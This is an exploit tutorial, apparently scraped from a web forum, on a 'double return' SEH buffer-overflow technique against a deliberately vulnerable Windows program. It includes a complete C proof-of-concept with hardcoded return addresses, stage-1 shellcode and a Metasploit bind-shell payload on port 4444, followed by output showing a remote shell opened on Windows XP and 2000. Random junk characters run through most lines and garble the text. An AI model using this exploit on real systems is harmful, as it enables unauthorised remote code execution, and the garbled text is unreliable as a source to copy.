The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. 9 m6 m* H# ?; W: M, m# J! G4 a9 h7 \, m" p6 U6 H& K
[Buf] <- Shellcode. k0 j- r; U: u
[Return Address] <- jmp register (for Windows XP sp1)2 j' p" a. b8 P3 a5 K) q5 |
[Various Stack Data] <- Junk: [" p/ M" v: w7 n- T$ m; I d1 _& |) K
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward: c" Q5 u* L' A! i" n4 t- w' w$ }! ]
[SE Handler] <- jmp register (for Win2k sp4) 3 N3 Q% R" \% s3 W; e, W[Stage1 Shellcode] <- stage1 shellcode for win2k6 s. i0 W* X/ h" V/ w
1 m5 g2 F; w. b/ k1 j% p
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses n/ |, P2 [& Y! F6 Z , q( R: @7 @3 l; }& \Necessary Tools: # u3 F$ ?1 S7 v+ o5 ^4 Z- OllyDBG) |. E3 l5 c/ v3 j) j" X, c( B
- C/C++ Compiler( F( ?8 \' f+ o% n9 M* F
- nasm / ]) p, `) [( Q' k- Sac- B; G3 H, Z# x
1 b& H9 S$ h: Q) e2 {
Vulnerable Code: / b- X3 p4 m [4 B//lamebuf.c5 _1 X6 |( B9 B4 s
#include<stdio.h> # P4 U! _# z; Y- t0 H6 C$ O#include<string.h>, A) x6 `4 }; `( `
#include<windows.h> ; I" `# b; S' w- a0 m5 x$ xint main(int argc,char *argv[]){ + w4 T# a/ g; w* J4 X: Z5 m& c& q+ y+ U6 ^5 `2 Q
char buf[512];. l& V. S$ P& i! @8 E5 m& ^# w
char buf1[1024]; // <- simulate a stack- q4 i8 J: G2 M3 T+ @1 p4 P( K
//DebugBreak(); S) j0 f. v) |& s* t
if (argc != 2){ return -1; }+ } Y0 |; a, X6 _) T
0 I: W! y4 E% G+ rstrcpy(buf,argv[1]);% W! m6 j- ~% ?' Y# A+ `& {
return 0x0;9 m2 y% X$ u' J% `% @& Q7 @# G
} * V! L) n" Z; u7 l: r. l8 ^/ t5 k' z. G
Getting Started:9 \% z4 `7 ?5 K
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:) d; J( A4 x q1 t' `$ ^& @& z: ?
- }/ l$ m5 _3 m* z
EAX 00000000 ! }. z r0 L9 o: L$ A2 EECX 00321404. Y9 w' h1 N1 g1 f5 a
EDX 004141414 [$ W6 P, |0 v1 g ^% C S: w
EBX 7FFDF000 v4 A7 U, T* j* Q. |& W1 A0 B" z
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" , K0 c, O4 q: P, F8 l$ h5 wEBP 41414141" ?8 d4 W7 G5 w6 x
ESI 77D4595F 3 r/ F3 q& w9 g5 x0 {% `! G" P6 REDI 77F59037 ntdll.77F59037: a' V8 k0 w! Y# M9 V
EIP 41414141) l+ W2 \% E: R3 @2 C/ v( @
$ Z! f9 I) d3 S2 WLets take a look at the stack and see what happened to the default exception handler: # }( k6 i4 B" v5 a0x0012FFB0 41414141 Pointer to next SEH Record* Y, R- H6 \4 Z+ t
0x0012FFB4 41414141 SE Handler ; c: ] k- J. h. b8 e 6 J1 o: v5 H) {9 K, IWe successfully overwrote the return address and the default exception handler. - F4 d! m! e9 H, h, c6 i4 B j% d- t0 Y# E$ o
Primary Return Address (Windows XP SP1 EN):# y: u3 J' }. A9 G
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:$ F: u. B& n# `* E' ?2 _
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"- c+ ^6 y0 a$ T7 O2 p) M4 ~
% S. m$ Q$ m F* x1 V+ [Secondary Return Address (Windows 2000 SP4 EN): 3 Y1 T4 S9 p+ A0 \4 O. `The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:: u& _7 y( i: y/ v
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"6 r1 a; h/ M, E. Q% Q) y
9 D% u( q; c5 Q$ p( E1 cProof Of Concept: ) {$ O& F8 _) w+ `7 {5 R$ [( V$ Z// exploit.c 0 e: ~5 F. r; S( H// Tal zeltzer - [Double Return] //+ S( I7 C, c$ }) n. F
" W y/ T/ p' |3 L#include<stdio.h> 6 r% u" s3 E# ~: k8 m#include<string.h> 4 o( [" L+ u% c( z4 `3 W" p+ p#include<windows.h>5 I9 H; A4 O5 ]$ Q2 y! E
6 n; E b3 S D( C1 @# {! X
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp : X& B5 C# @# e. J2 ]( s& w#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx 1 O( t% T' m/ i4 ?! y6 \ ! s! A6 e( N: C) @* Z" m// Stage1 For WinXP Sp1 English: \5 ?% Q- D z
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"; + |) S% \$ C' D; d. C1 G4 P0 O% d! N7 c# b0 L
// Stage1 For Win2k Sp4 English ; V5 A0 H: P; }5 f1 r; p, lunsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";* D/ r4 H! U4 d' l# O5 z5 k
4 [& L4 z1 r& a' S% [% \
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com ) E7 @ Q r% `! lunsigned char shellcode[] = 8 i0 p7 P) E& V8 t, S"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"6 o! ]1 C% z b1 ~; I5 _
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"& h$ }2 V% @6 l
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 2 g4 ^) o i# G/ h"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"9 x9 k& q& ^- Y4 ]8 N5 V% W
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"' r5 o. \. W% s+ @
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"9 }9 f8 h9 K, O. R. b0 d& J9 f
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" 2 t0 F# b9 N2 \: _/ C9 L: r; k" f"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53": |7 P- M* k4 Q' i
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" 1 D, M; K: ^; {( a"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" 0 @- N3 g0 U' \$ J: n- F"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb", _* J i) Z& n f' K7 _
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" 9 q8 E' }7 Q2 `+ ^- V"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" 7 l1 B; Q* G6 P/ H+ X( g( m"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" 0 w7 b l) |4 P, Y5 A: ?, V8 z6 J"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"4 Y# B2 w1 c+ L d3 R3 C
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"2 Z3 j* n% k/ c( Z6 T
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18". p! L8 \* z3 { l: R+ N. V$ U
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" # C6 }* p! v B% K. Z"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"* P8 ]8 n: ]( Y" m) r
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" / ~. x3 n+ {+ K) k0 G2 V"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" + }% y; V* T: `"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"/ ^$ k' N; z0 [' a' P+ W: [
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"5 g8 J( C9 A/ e3 {
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" 2 h% F5 H w; c: P4 ]"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";8 l! B0 N) m8 T/ O' f
+ T: e0 l$ l" A1 h# {. r$ r
! K$ w2 c: ]; ^/ d' c. Aint main(int argc,char *argv[]){/ k% {- e( @: A. ?$ ?3 t* A. e
& W8 x* Q. P- ochar *bufExe[3]; 4 w5 m) P( U' |/ gchar buf[2048]; # X1 d* `4 H/ G6 J, E" pbufExe[0] = "lamebuf.exe";0 ^9 z- m) Y& _4 s; w
bufExe[2] = NULL;' w& d! [( S& S+ O
3 T7 j3 T0 K& b. y* D1 [' A
memset(buf,0x0,sizeof(buf));- U4 ~. @3 O, F6 B/ |; k! ~& C# E
memset(buf,0x90,1652); Q6 l! }& Y9 ]- o4 }0 o
memcpy(&buf[24],shellcode,sizeof(shellcode)-1); 7 Q2 e$ @8 _- z/ h3 w# ^% {. R 4 ^9 H) n: O. N2 j0 ?2 {memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode # o$ T9 d- L, e) U9 U8 I' G% Jmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode ! V4 i+ V( M I: h+ a$ ~' B/ h% b& R- F; k; p0 Z2 n- ]3 Q# q4 S& d1 C
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en ) A' R3 T, D6 U; `- r- ?*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code . p: C4 q( Y8 l+ s$ p1 j*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en1 G+ n* s* x; G* \. M( v: q7 d& G' V
: L- [! n5 g* K: ]0 m9 { 7 A: G: N W+ [# R, BbufExe[1] = buf;0 C- [0 y( J6 _
//Execute the vulnerable application 0 J1 R+ s( z0 ?3 vexecve(bufExe[0],bufExe,NULL);4 X7 k3 |) N/ S- G7 c, o" @: d
" N. m# k) T3 I& V ]. P
return 0x0;" R+ H, E, g8 ]/ ?* o0 p5 ?! Q
}- ~; T4 [; R4 s$ ]
/ [, b. L* b3 D$ P8 ]Exploit under Windows XP SP1: ( X+ g+ C3 Z1 T+ `1 }C:\>exploit7 ?( ?% E% I" q* i! d3 R
C:\> ! T2 Y2 X1 G& L+ n0 P3 ^+ {" D& vC:\>telnet 127.0.0.1 44443 a( @% Z; g4 I& v5 S5 A/ N* l
2 _/ @1 V7 p$ I8 }+ a
Microsoft Windows XP [Version 5.1.2600] * r3 D; W$ h$ u) E2 [4 v4 H(C) Copyright 1985-2001 Microsoft Corp. & D6 a& [- T) C7 ^/ s6 t9 |, m1 x/ H5 l9 C$ ^
C:\> : [ @6 b% j5 v0 H; q* y 9 Q, u9 m, g/ U, p- @Exploit under Windows 2000 SP4: ; k6 J$ \" h. ~3 A0 g/ NC:\>exploit 8 B6 @1 h x" E+ O0 FC:\>& ]" n* _2 V8 Z: E
C:\>telnet 127.0.0.1 44445 t& K& Z9 j2 |2 ?1 j
- J7 @/ ]3 s7 W4 hMicrosoft Windows 2000 [Version 5.00.2195]6 H& P! W' @( E. E, s
(C) Copyright 1985-2000 Microsoft Corp.